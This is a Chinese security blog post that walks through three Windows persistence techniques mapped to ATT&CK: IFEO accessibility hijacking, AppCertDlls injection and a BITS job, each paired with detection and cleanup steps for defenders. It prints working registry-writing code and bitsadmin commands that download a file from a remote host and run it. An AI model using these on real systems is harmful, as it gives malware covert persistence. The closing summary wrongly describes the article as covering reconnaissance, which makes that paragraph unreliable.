ATTCK v10版本战术实战研究—持久化(一)

news2025/1/19 8:22:17

一、前言

“在网络安全的世界里,白帽子与黑帽子之间无时无刻都在进行着正与邪的对抗,似乎永无休止。正所谓,道高一尺魔高一丈,巨大的利益驱使着个人或组织利用技术进行不法行为,花样层出不穷,令人防不胜防。”

为了更好得应对这些攻击手段,就需要做到了解对手。俗话说:知己知彼,方能百战不殆。MITRE ATT&CK™就提供了全球范围的黑客的攻击手段和技术知识点,并把 APT 组织或恶意工具使用到的攻击手段一一对应,便于从根源上解决问题。许多公司和政府部门都会从中提取信息,针对遇到的威胁建立安全体系或模型。我们作为安全从业人员,如果能够掌握MITRE ATT&CK™如此庞大的知识体系,对以后的工作和对抗来说,就像是拥有了一个武器库,所向披靡。

当然,这么一个庞大的体系是不可能一蹴而就的。我们可以依照MITRE ATT&CK™的框架,从持久化这一点开始。本文的主要内容是介绍 APT 攻击者在 Windows 系统下持久运行恶意代码的常用手段,其中的原理是什么,是怎样实现的,安全运维人员如何及时发现,我们应该从哪些方面预防和检测。

二、测试环境

  • 靶机操作系统:Windows 7

  • 终端威胁检测工具:SiAgent

三、网络拓扑

四、关于SiAgent

4.1 SiAgent介绍

SiAgent是一个用于 Windows、OS X(macOS)、Linux 和 FreeBSD 的操作系统检测软件。这样使得操作系统分析和监控变得既高效又直观。

4.2 SiAgent能做什么

包括但不限于基线设备监控,软件基线,用户基线,配置基线,容器基线等等安全基线的检查与监控。可与安全管理平台进行连接与联动,在最大化的解决了终端的安全隐患的同时,仍然能保持极低的性能消耗,减少不必要的性能开支。

五、相关案例

5.1 辅助功能镜像劫持

5.1.1 简介

在注册表中创建一个辅助功能的注册表项,并根据镜像劫持的原理添加键值,实现系统在未登录状态下,通过快捷键运行自己的程序。

5.1.2 对应战术

  • 事件触发执行:辅助功能(T1546.008)[https://attack.mitre.org/techniques/T1546/008/]

  • 事件触发执行:映像文件执行选项注入(T1546.012)[https://attack.mitre.org/techniques/T1546/012/]

5.1.3 原理

映像劫持,也被称为「IFEO」(Image File Execution Options)。当目标程序被映像劫持时,双击目标程序,系统会转而运行劫持程序,并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运行,并运行自己的程序。

造成映像劫持的罪魁祸首就是参数「Debugger」,它是 IFEO 里第一个被处理的参数,系统如果发现某个程序文件在 IFEO 列表中,它就会首先来读取 Debugger 参数,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为 Debugger 参数里指定的程序文件名的参数发送过去。

5.1.4 实现代码

HKEY hKey;constchar path[] = "C:\Users\quail\Desktop\hello.exe";    RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);    RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

5.1.5 实现效果图

5.1.6 安全管理平台发现效果

5.1.7 SiAgent查询结果

通过特定语法与特定条件进行SOFTWARE的查询,发现存在Debugger项。

5.1.8 检查以及清除方法

1.检查「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」注册表路径中的程序名称。

2.其它适用于的辅助功能还有:

  • 屏幕键盘:C:\Windows\System32\osk.exe

  • 放大镜:C:\Windows\System32\Magnify.exe

  • 旁白:C:\Windows\System32\Narrator.exe

  • 显示开关:C:\Windows\System32\DisplaySwitch.exe

  • 应用程序开关:C:\Windows\System32\AtBroker.exe

5.2 AppCertDlls进程注入

5.2.1 简介

编写了一个 dll,创建一个 AppCertDlls 注册表项,在默认键值中添加 dll 的路径,实现了对使用特定 API 进程的注入。

5.2.2 对应战术

事件触发的执行:AppCert DLL( T1546.009)[https://attack.mitre.org/techniques/T1546/009/]

5.2.3 原理

如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW WinExec 函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls 注册表项,此项下的 dll 都会加载到此进程。

5.2.4 实现代码

HKEY hKey;constchar path[] = "C:\\secisland.dll";    RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);    RegSetValueExA(hKey, "Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

5.2.5 实现效果图

5.2.6 安全管理平台发现效果

5.2.7 SiAgent查询结果

通过特定语法与特定条件进行AppCertDlls的查询,发现存在Default项。

5.2.8 检查以及清除方法

监测 dll 的加载,特别是查找不是通常的 dll,或者不是正常加载的 dll。

监视 AppCertDLL 注册表值

监视和分析注册表编辑的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

5.3 BITS作业持久化

5.3.1 简介

通过 bitsadmin 命令加入传输任务,利用 BITS 的特性,实现每次重启都会执行自己的程序。

5.3.2 对应战术

BITS作业(T1197)[https://attack.mitre.org/techniques/T1197/]

5.3.3 原理

BITS,后台智能传输服务,是一个 Windows 组件,它可以利用空闲的带宽在前台或后台异步传输文件,例如,当应用程序使用 80% 的可用带宽时,BITS 将只使用剩下的 20%。不影响其他网络应用程序的传输速度,并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

5.3.4 实现代码

bitsadmin /create secislandbitsadmin /addfile secisland http://www.secisland.com/WechatIMG4170.png  C:\Users\quail\Desktop\helloSecisland.pngbitsadmin /SetNotifyCmdLine secisland "%COMSPEC%""cmd.exe /c bitsadmin.exe /complete \"secisland\" && start /B C:\Users\quail\Desktop\helloSecisland.png"bitsadmin /Resume secisland

5.3.5 实现效果图

5.3.6 安全管理平台发现效果

5.3.7 SiAgent查询结果

通过特定语法与特定条件进行BITS任务列表的查询,发现存在存在恶意任务项。

5.3.8 检查以及清除结果

BITS 服务的运行状态可以使用 SC 查询程序来监视(命令:sc query bits),任务列表由 BITSAdmin 来查询。

监控和分析由 BITS 生成的网络活动。

六、阶段性总结

虽然侦察中能进行技术验证的子技术偏少,但是却能帮助攻击者获取信息量非常庞大的目标信息,甚至防范不足能直接获取致命的配置信息,所以侦察一定要引起管理员的高度重视,通过技术验证也能发现,攻击者基本上每一步的行动都被我们成功感知并进行告警,后面仅需及时作出响应即可将攻击者关在门外,同样,第一阶段的信息收集也告一段落,后面将会根据获取的配置文件进行后续攻击,并通过态势感知平台对其进行捕捉与处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/386920.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

udk2017环境搭建编译步骤

win10 64bit系统 1.参考minnowboard-max-rel-1-01-bin-releasenotes-for-binary-firmware-images.TXT MyWorkspace.rar 解压到c:\,参考txt中的git操作 3.复制ASL,NASM 到c:\ 安装vs2015 ,勾选sdk 5.安装 python-2.7.10.amd64.msi&#xf…

【论文泛读】NeRF: Representing Scenes as Neural Radiance Fields for View Synthesis

NeRF: Representing Scenes as Neural Radiance Fields for View Synthesis | NeRF: 用于视图合成的神经辐射场的场景表示 | 2020年 出自文献:Mildenhall B, Srinivasan P P, Tancik M, et al. Nerf: Representing scenes as neural radiance fields for view synth…

泼辣修图Polarr5.11.4 版,让你的创意无限延伸

泼辣修图是一款非常实用的图片处理软件,它不仅拥有丰富的图片处理功能,而且还能够轻松地实现自定义操作。泼辣修图的操作界面非常简洁,功能也非常丰富,使用起来非常方便快捷。 泼辣修图拥有非常丰富的图片处理功能,包括…

【冲刺蓝桥杯的最后30天】day1

大家好😃,我是想要慢慢变得优秀的向阳🌞同学👨‍💻,断更了整整一年,又开始恢复CSDN更新,从今天开始逐渐恢复更新状态,正在备战蓝桥杯的小伙伴可以支持一下哦!…

Rockchip Android13 GKI开发指南

Rockchip Android13 GKI开发指南 文章目录Rockchip Android13 GKI开发指南GKI介绍Google upstream kernel下载及编译Rockchip SDK中GKI相关目录介绍Rockchip GKI编译代码修改编译固件烧写KO编译及修改添加新的模块驱动的方法调试ko方法开机log确认uboot阶段Android阶段KO加载KO…

Java IO流详解

文章目录一、File1.1 构造方法1.2 文件操作 方法1.3 目录操作 方法1.4 文件检测 方法1.5 获取文件信息 方法1.6 应用练习二、IO 流2.1 InputStream 字节输入流 (读)🍓FileInputStream🍓BufferedInputStream2.2 OutputStream 字节输出流 (写)&#x1f34c…

【Redis】redis大key和大value的危害,如何处理?

前序 还记得上次和同事一起去面试候选人时,同事提了一个问题:Redis的大key有什么危害?当时候选人主要作答的角度是一个key的value较大时的情况,比如: 内存不均:单value较大时,可能会导致节点之…

[经验分享]gpt-3.5-Turbo|unity中实现http接口调用gpt新接口以及信息处理的实现案例分享

最近openAI发布了目前chatGPT所使用的模型gpt-3.5-Turbo,之前使用了text-davinci-003模型做了一个galgame的AI女友对话的demo。这次趁着新接口的发布,对这个demo也同步更新了模型调用的代码。本篇文章将分享一下,如何在unity里使用UnityWebRe…

记录一次PWM信号异常问题

问题我使用单片机输出PWM控制机械臂,但是控制过程中,机械臂总是会出现莫名的抽动。利用示波器测试PWM信号,发现信号正常。过程(1)在反复的测试过程中,队友提出,将示波器的地线放在左侧的GND波形…

计算机EI会议论文,和EI期刊论文有什么区别? - 易智编译EaseEditing

EI期刊论文,是期刊论文的一种。顾名思义,就是指发在期刊上的论文。 期刊论文发表的格式需要具体参考各期刊文章的要求学术论文格式,主要会发在月刊/季刊/年刊/不定期的刊上。 目前,国际著名的科技文献检索系统是SCI(…

安卓-AndroidManifest.xml修复

解析编译之后的AndroidManifest文件格式:http://www.520monkey.com/archives/575 案例apk jadx打开发现AndroidManifest.xml异常,无法正常显示 那么我们用apktool反编译试试 apktool d APK逆向-2.apk -f可以看到报错了,显示不能解析此xml…

[SSD科普] 固态硬盘物理接口SATA、M.2、PCIe常见疑问,如何选择?

前言犹记得当年Windows 7系统体验指数中,那5.9分磁盘分数,在其余四项的7.9分面前,似乎已经告诉我们机械硬盘注定被时代淘汰。势如破竹的SSD固态硬盘,彻底打破了温彻斯特结构的机械硬盘多年来在电脑硬件领域的统治。SSD数倍于HDD机…

数据结构 “串“ 的补充提升与KMP算法及其优化的具体实现

❤️作者主页:微凉秋意 ✅作者简介:后端领域优质创作者🏆,CSDN内容合伙人🏆,阿里云专家博主🏆 ✨精品专栏:C面向对象 🔥系列专栏:数据结构与课程设计 文章目录…

XSS漏洞基本概念

目录 XSS的原理和分类 XSS漏洞分类 dom 存储型 XSS的危害 XSS漏洞的验证 XSS的黑盒测试 XSS漏洞的白盒测试 XSS的原理和分类 xss全称跨站脚本攻击xss(Cross Site Scripting) 为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆&am…

MCU实现对外部脉冲信号的计数功能

有的传感器会输出脉冲信号,MCU需要统计脉冲输入的个数,通常有如下实现方式: 1.GPIO中断 原理很简单,利用GPIO的上升沿或者下降沿中断,进中断的次数就是脉冲的个数。只需要在中断服务函数里计数即可。 使用GPIO中断需…

Streaming System是第一章翻译

GIthub链接,欢迎志同道合的小伙伴一起翻译 Chapter 1.Streaming101 如今,流数据处理在大数据中是非常重要的,其主要原因是: 企业渴望对他们的数据有更及时的了解,而转换到流处理是实现更低延迟的一个好方法&#xf…

使用vite+vue3.0 创建一个cesium基础应用 ----01 项目搭建

使用vitevue3.0 创建一个cesium基础应用 ----01 项目搭建 1.使用yarn创建一个vite项目 我们可以在vite官网找到vite创建项目的命令 https://cn.vitejs.dev/ 可以使用yarn创建项目选择使用vue3.0框架,语言使用js 创建完成后结构如下: 2.找到vite社区中的…

idea通过Dockerfile上传项目到服务器

Docker通过Dockerfile上传项目 文章目录Docker通过Dockerfile上传项目1.创建一个简单的springBoot项目2.写一个简单的接口3.写Dockerfile文件4.新建docker镜像5.上传代码运行1.创建一个简单的springBoot项目 点击文件–>新建–>项目 点击选择Spring Initializer &#x…

火山引擎 DataTester:A/B 实验如何实现人群智能化定向?

更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 在精细化运营时代,用户需求和业务场景愈加多元,在产品功能迭代以及各类活动中,面向不同人群的兴趣点,有针对性地“精…

导师信息管理系统

技术:Java、JSP等摘要:随着我国教育产业化的飞速发展,社会对教育水平和教学管理软硬件的要求日益提高,尤其是对一个学校能够具有一整套的管理软件提出了更多的要求。为了适应这种形式,教育系统尤其是大学不仅首先要有坚…